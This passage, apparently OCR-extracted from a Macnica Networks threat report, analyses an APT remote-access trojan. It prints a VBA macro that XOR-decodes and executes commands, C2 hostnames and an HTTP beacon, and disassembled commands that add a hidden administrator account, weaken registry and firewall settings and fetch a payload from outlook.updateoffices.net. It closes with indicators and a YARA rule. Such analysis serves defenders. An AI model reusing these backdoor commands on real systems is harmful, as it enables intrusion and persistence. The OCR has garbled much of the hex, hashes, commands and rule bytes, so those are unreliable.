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1. Open the document in Microsoft Office.
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For-each-c-in-cs: -cmd=cmd&Chr(c-xor-167) : -Next - : - cmd=cmd&vbecrlf: -Execute(cmd)
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NANANT N PEM1 =~ AVYnM  C2 14 YnM 14MX -~

=20 P1° .

: {rj 1 - [lang: 1033] ‘ a ﬂ q o P ==

-J 2-[lang:1033] - — : — - —

L L) 200 - [ang: 1033] Dff=set o 1 2 3 4 5 6 7 8 9 A B C D E F Ascii

a1-£3) Configuration Fies 00000000 | 70 6C 61 6E 2E 65 76 69 6C 6C 65 73 65 2E 63 6F lan evillese co
goooooio | 6D 34 38 38 38 38 DA 70 eC 61 6E 2E 65 76 69 6C m:8888 . plan.evil
gooooozo | eC 65 73 BS Z2E B3 BF KD 3A 38 45 33 31 0A B2 B1 le=e com: 8531 ba
gooooo3n | 63 6B 67 72 6F 75 BE wd 2E 72 69 73 74 69 61 6E clkground . ristian
gooooo4n | 73 2E 63 6F 6D 3A 38 38 38 38 04 77 6F 72 6B 65 =.comn: 8888  worke
goooooso | 72 2E 62 61 72 61 65 6D 65 2E 63 6F 6D 3A 38 35 r baraeme  com: 85
goooooen | 33 31 DA 65 6E 75 6D 2E 61 72 6B 6F 6F 72 72 2E 31 enum. arkoorr.
goopooyo | 63 6F BD 3A 38 38 38 38 0A 77 BF Y2 BB BE 72 Z2E com: 8888 . worker .
goooopsgnD | 62 61 72 61 65 6D 65 2E 63 6F 6D 34 38 38 38 38 baraeme . com: 8888
gooooo9n | DA 65 6E 75 6D Z2E 61 72 6B 6F 6F 72 72 ZE 683 BF .enum . arkoorr . co
aoooooAal D 34 48 25 43 21 0A B2 Bl B2 BEB BT V2 BEF 75 BE m:8531  backgroun
goooooeED | 64 2E 72 69 73 74 69 6l 6E 73 2E 63 6F oD 3A 38 d.ristian=s. com:8
goooooco | 35 33 31 0A 0O \531.. /,
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Stream Content

POST /15/65214-Y1y-Owheip-Noly-Ecuh-T HTTP/1.1

Host: naggmaggnaggmcggmcggnpggmmgg. 1]]lekgc.namshionline. com

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
Accept: */*
Accept-Encoding: deflate, gzip

Referer: http://naggmaggnaggmcggmcggnpggmmgg. 1j]lekgc.namshionline. com/15/65214-Y1y-
Owheip-Noly-Ecuh-T

Content-Length; 25

Content-Type: application/x-www-form-urlencoded

Copyright © 2004-2019 Macnica Networks Corp. All Rights Reserved.
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debugl53:003E45E4 00 db [¢]

debuglS3: 003E4585 00 d 0

debugls53:003E4586 00 db 4]

debug0S3:003E4587 00 db 4]

debugds53:003E4588 43 3A 5C 55 73 €5 72 73+aCUserafdminist db "C:\Users\Administrator\Desktop\apistemp'\royal\BFfmthnmR¥.exe", 0
debugd53:003E45C4 2D 75 73 65 72 00 alUser db "—user”,0

idebug053:003E45CA 53 55 50 S50 4F 52 54 S5F+aSupport388945Sa db "SUPPORI_38€8945al", 0 I — ﬁﬁ ; 5O — U %
debug053:=003E45D8 2D 70 77 64 00 aPwd db Y—Qpwdr, U _ ,;&5
debugdS53:003E45E0 40 41 &2 63 31 32 33 34+albcl123456 db "@hbc123456",0 ( user T EE)
debugs53: 003E45EE AB db OAEBh ; #

debug053:003E45EC AB db OABh ; 3 ZFEFIT D/NAT—F
debug53: 003E4SED AB db 0OABh ;

debug053:003E45EE AB db OABh ; = (—de CEE) |
debuc053:= 0032EA5EF AB db OAEh : =#

aa SET S5TR({
{int) reg_str,
"cmd fc \"req add HEIM\\SOFTWAEE\\Microsoft\\Windows\\CurrentVersion‘\Policies\\System /v LocalAccountIokenFilter™
"Policy /t REG DWORD /d 1 /f &s reqg add \"HELM\\Software\\Microsoft\\Windows NI\\CurrentVersion\\Winlogon\\Specia™
"lAccounta\\UserList\™ /v %3 /d 0 /t REG_DWORD /f && reg add HEIM\\SYSTEM\\CurrentControlSet\\Control\\Lsa /v for"
"ceguest /t REG DWORD /d 0 /f && net accounts /MaxPWAge:unlimited\™",
va2d);
w19 = 0xT73655%9;
strcpy (
&anetsh atr,
"netsh advfirewall firewall add rule name=\"All ICMP V4\™ protocol=icmpvd:any,any dir=in action=allow™);
qremcpy (fw _str, "netsh advfirewall firewall set rule group=\"File and Printer Sharing\™ new enable=", E80):
wl2 = (int)va4;
aa SET STR((int)&Cmdline, ™net user %3 %3 /add", v24, vis);
aa_SET STR((int)&net_str, "net localgrcocup administrators %s /fadd"™, v12);
WinExec (reg str, 0):
Sleep(l1000u);
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1B066 db 0

1B0&7 db a

1B068 aCUsersAdminist db °'C:\Users\Administrator\Desktop\api\temp\royal\BJé tJUYQ.exe',0
1B0RA4 aU db "-u',0

1B0A7 aHttpaOutlookUp db 'https://outlook.updateoffices.net/vean32.png',0

1B0D4 db OABh ; #

1BODS db 0ABh : 3% |

1RO dh NARh = +# :;Z"",T v ao— |"*JTEURL

-u TIEE
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Indicator

824a5d74bf78481fe935670bflea3797ebc210181e6ffe0ee5854d61cf59b2al

microsoftclick[.Jcom

namshionline[.Jcom

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)

847d0fa2el12ald0fla68abad269b5e0aebc2bd904bb695067af08703982ae929

background.ristians[.Jcom:8888

enum.arkoorr[.Jcom:8531

worker.baraeme[.Jcom:8888

enum.arkoorr[.Jcom:8888

worker.baraeme[.Jcom:8531

plan.evillese[.Jcom:8531

background.ristians[.]Jcom:8531

plan.evillese[.]Jcom:8888

8526f10b50ec4deb70e7da7a4e693ed04e6a8e332f891c8a84e3783aaadl3ad9

53efaac9244c24fab58216a907783748d48cb32dbdc2f1f6fb672bd49f12bedc

358df9aba78cf53e38c2a03¢c213c31ba8735e3936f9ac2c4a05¢cfb92ec1b2396

https://outlook.updateoffices|.]Jnet/vean32.png

rule MNC_APT_2018_SONAR_OCEANLOTUS_BASEG4_RAT
{
meta:

author = "Macnica Networks Crop. H.T"

malware_family = "Unknown Base64 Encoded RAT"

actor = "Unknown"

last_modified = "2018-12-04"

description = ""

reference = "

weight = 100

rev=1

hash1 = "847d0fa2e12a1d0f1a68abad269b5e0aebc2bd904bb695067af087039822e929"

strings:
$junk_pattern = {B8 77 77 77 77 33 D2 B3 77 F6 E3}
$encrypt = {FF 77227722 22 8BF0 89 75C8 C7 45FC 77 77 27 77 OF}
$decode_recv = {8B OB 89 OF 83 ?7 77 8377 77 8377 77 83 77 77 OF}

condition:
#junk_pattern > 1000 and all of them

Copyright © 2004-2019 Macnica Networks Corp. All Rights Reserved.
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